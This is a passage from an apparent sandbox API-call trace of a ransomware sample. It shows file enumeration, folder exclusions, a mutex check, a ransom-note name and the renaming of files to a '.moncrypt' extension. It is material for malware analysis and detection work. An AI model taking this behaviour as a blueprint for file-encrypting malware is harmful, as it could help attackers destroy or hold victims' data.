cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0058.278] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="夜U䱠@삌R企@\x18?T\x18\x8f")) returned 0xffffffff [0058.280] GetLastError () returned 0x2 [0058.280] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.280] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0058.280] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="夜U䱠@셤R企@\x18?T\x18\x97")) returned 0xffffffff [0058.281] GetLastError () returned 0x2 [0058.281] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.281] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0058.281] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.281] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.281] GlobalUnlock (hMem=0x44000c) returned 0 [0058.281] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.281] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.281] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.281] GlobalUnlock (hMem=0x44000c) returned 0 [0058.281] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.281] GlobalUnlock (hMem=0x440004) returned 0 [0058.282] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.282] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0058.282] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.282] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0058.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0058.282] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.282] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.282] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.282] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0058.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.282] GlobalLock (hMem=0x440004) returned 0x550170 [0058.282] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.282] GlobalUnlock (hMem=0x440004) returned 0 [0058.282] GlobalLock (hMem=0x440004) returned 0x550170 [0058.282] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.282] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.282] GlobalUnlock (hMem=0x440004) returned 0 [0058.282] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.282] GlobalUnlock (hMem=0x44000c) returned 0 [0058.282] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.282] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.282] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.283] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.283] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0058.283] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.283] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0058.283] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.283] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0058.283] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.283] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0058.283] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.283] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.283] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", cchLength=0x37 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\") returned 0x37 [0058.283] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0058.283] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.283] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.283] GlobalUnlock (hMem=0x44000c) returned 0 [0058.283] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.283] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.283] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.283] GlobalUnlock (hMem=0x44000c) returned 0 [0058.283] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.283] GlobalUnlock (hMem=0x440004) returned 0 [0058.283] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.284] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.284] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0058.284] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.284] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.284] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.284] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.284] GlobalUnlock (hMem=0x440004) returned 0 [0058.284] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.284] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.284] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.284] GlobalUnlock (hMem=0x440004) returned 0 [0058.285] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.285] GlobalUnlock (hMem=0x44000c) returned 0 [0058.285] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.285] CharLowerBuffW (in: lpsz="1047x576black.png", cchLength=0x11 | out: lpsz="1047x576black.png") returned 0x11 [0058.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.285] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.285] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Rectangles\\1047x576black.pngr", lpUsedDefaultChar=0x0) returned 4 [0058.285] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0058.286] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0058.287] CloseHandle (hObject=0x18c) returned 1 [0058.287] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\я")) returned 1 [0058.288] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 0x54e280 [0058.288] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.288] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.288] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.288] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png", dwFileAttributes=0x20) returned 0 [0058.288] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.289] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png.moncrypt")) returned 0 [0058.289] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9c8160, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9c8160, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0058.289] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.289] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.289] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.289] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.289] GlobalUnlock (hMem=0x44000c) returned 0 [0058.289] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.289] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.289] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.289] GlobalUnlock (hMem=0x44000c) returned 0 [0058.289] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.289] GlobalUnlock (hMem=0x440004) returned 0 [0058.289] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.289] CharLowerBuffW (in: lpsz="1047x576_91n92.png", cchLength=0x12 | out: lpsz="1047x576_91n92.png") returned 0x12 [0058.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, 